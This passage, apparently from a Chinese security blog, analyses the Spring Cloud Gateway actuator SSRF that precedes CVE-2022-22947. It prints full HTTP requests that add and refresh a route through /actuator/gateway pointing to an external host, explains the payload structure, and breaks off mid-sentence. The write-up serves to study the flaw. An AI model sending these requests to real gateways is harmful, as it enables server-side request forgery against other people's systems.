0x01 写在前面
本周二(3.1)的时候Spring官方发布了 Spring Cloud Gateway CVE 报告
其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急,周三周四的时候就有不少圈内的朋友发了分析和复现过程,由于在工作和写论文,就一直没去跟踪看看,周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。
0x02 从SSRF说起
看到这个漏洞利用流程的时候,就有一种熟悉的既视感,回去翻了翻陈师傅的星球,果然:
去年12月的时候,陈师傅提了一个 actuator gateway 的 SSRF漏洞,这个漏洞来自 wya
作者在文章中提到,通过Spring Cloud Gateway 执行器(actuator)提供的管理功能就可以对路由进行添加、删除等操作。
因此作者利用 actuator 提供的路由添加功能,并根据官方示例,如下图:
添加了一个路由:
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://wya.pl",
"order": 0
}
在执行 refresh
操作后,作者成功执行了一个SSRF请求(向https://wya.pl/index.php发起的请求):
陈师傅最后还在星球里给了个演示的实例:https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md
先不具体讨论为什么payload会这样写,如果你熟悉 CVE-2022-22947 的payload,那么看到这里你一定会有同样的熟悉感。
是的,CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版,并且触发SSRF的原理并不复杂
首先利用/actuator/gateway/routes/{new route}
的方式指定一个URL地址,并针对该地址添加一个路由
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://www.cnpanda.net",
"order": 0
}
然后刷新令这个路由生效:
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
],
"uri": "https://www.cnpanda.net",
"order": 0
}
最后直接访问/new_route/index.php
即可触发SSRF漏洞。
到这里有两个问题:第一,payload为什么会这样写?第二,整个请求流程是什么样的?
首先来看第一个问题,payload为什么会这样写
上文中我们提到了Spring Cloud Gateway官方给的实例如下:
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
这实例对比一下SSRF的payload,我们可以发现,在SSRF的payload中多了对过滤器(filters)的具体定义。
而纵观整个payload,实际上可以发现,其就是一个动态路由的配置过程。
在Spring Cloud Gateway中,路由的配置分为静态配置和动态配置,对于静态配置而言,一旦要添加、修改或者删除内存中的路由配置和规则,就必须重启才可以。但在现实生产环境中,使用 Spring Cloud Gateway 都是作为所有流量的入口,为了保证系统的高可用性,需要尽量避免系统的重启,因而一般情况下,Spring Cloud Gateway使用的都是动态路由。
Spring Cloud Gateway 配置动态路由的方式有两种,第一种就是比较常见的,通过重写代码,实现一套动态路由方法,如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式,但是这种方式是基于jvm内存实现,一旦服务重启,新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理
所以其实payload就是比较固定的格式,首先定义一个谓词(predicates),用来匹配来自用户的请求,然后再增加一个内置或自定义的过滤器(filters),用于执行额外的功能逻辑。
payload中我们用的是重写路径过滤器(RewritePath),类似的还有设置路径过滤器(SetPath)、去掉URL前缀过滤器(StripPrefix)等,具体可以参考gateway内置的filter这张图:
第一个问题搞懂了就可以看看第二个问题了:整个请求流程是什么样的?
还是如上例所演示的,当在浏览器中向127.0.0.1:8080
地址发起根路径为/new_route
的请求时,会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/
的根路径下
比如,我们向127.0.0.1:8080
地址发起为/new_route/index.php
的请求,那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php
的路径下,官方在其官方文档(Spring Cloud GateWay工作流程)简单说明了流程:
看起来比较简单,实际上要复杂的多,我做了一个更详细一点图帮助大家理解:
我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php
的请求,浏览器接收该请求后交给Spring Cloud